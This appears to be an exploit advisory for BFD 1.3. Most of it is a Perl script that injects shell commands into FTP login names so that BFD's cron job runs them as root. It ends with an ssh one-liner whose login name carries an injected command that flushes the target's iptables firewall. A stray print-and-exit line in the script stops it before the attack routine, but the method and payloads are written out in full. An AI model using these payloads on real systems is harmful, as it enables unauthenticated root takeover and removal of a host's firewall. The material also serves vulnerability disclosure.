BFD 1.3 - remote command execution as root



DESCRIPTION


BFD 1.3 (and possibly prior) contains a design issue that allows remote users to execute commands as root. Authentication is not required. No special configuration is required.



IMPACT


Remote users can execute commands as root.

BFD 1.4: Important Security Fix

#!/usr/bin/perl

##########################################################
#  BFD 1.3 (and earlier?) remote root command execution
##########################################################

use strict;
use warnings;
use IO::Socket::INET; # Net::FTP is too slow

if (@ARGV != 2) {
    die "Usage: $0 <host> <command>\n";
}

my $host = $ARGV[0];

my $command = ';' . $ARGV[1] . ';';
$command =~ s/\s+/\${IFS}/g;
$command .= ' WARNING Authentication failed for user .';

print "$command\n"; exit;

sub ftp
{
    my $sock = IO::Socket::INET->new( PeerAddr => $host, PeerPort => 21, Proto => 'tcp', Timeout => 10 );

    if (!$sock) {
        die "[-] Could not connect\n";
    }

    local $SIG{'ALRM'} = sub { die "[-] Did not receive 220 after 30 seconds\n"; };
    alarm 30;
    sysread $sock, my $buffer, 500;
    alarm 0;

    if ($buffer =~ m{ \A 220- }xms) {
        print "[+] Got 220, sending username ($command)\n";
        print $sock "USER $command\n";
    }
    else {
        close $sock;
        die "[-] Did not get 220, exiting\n";
    }

    local $SIG{'ALRM'} = sub { die "[-] Did not receive 331 after 30 seconds\n"; };
    alarm 30;
    sysread $sock, $buffer, 500;
    alarm 0;

    if ( $buffer =~ m{ \A 331 }xms ) {
        print "[+] Got 331, sending password (.)\n";
        print $sock "PASS .\n";
    }
    else {
        close $sock;
        die "[-] Did not get 331, exiting\n";
    }

    local $SIG{'ALRM'} = sub { die "[-] Did not receive 530 after 30 seconds\n"; };
    alarm 30;
    sysread $sock, $buffer, 500;
    alarm 0;

    if ( $buffer =~ m{ \A 530 }xms ) {
        print "[+] Got 530, disconnecting\n";
    }
    else {
        close $sock;
        die "[-] Did not get 530, exiting\n";
    }
}

# create one log to start, then wait for the cron to run.
# this is necessary for starting the tracking of the attack.
ftp();

# the bfd cron runs every 3 minutes by default
print "[+] Sleeping for 3 minutes..\n";
sleep 185;

# the default trigger is 15 from conf.bfd
for my $count (1 .. 15) {
    ftp();
    print "$count\n";
}

print "[+] All done\n";
    


BFD drop firewall:

ssh -l '1 ;cd${IFS}..;cd${IFS}sbin;export${IFS}PATH=.;iptables${IFS}-F;' x.x.x.x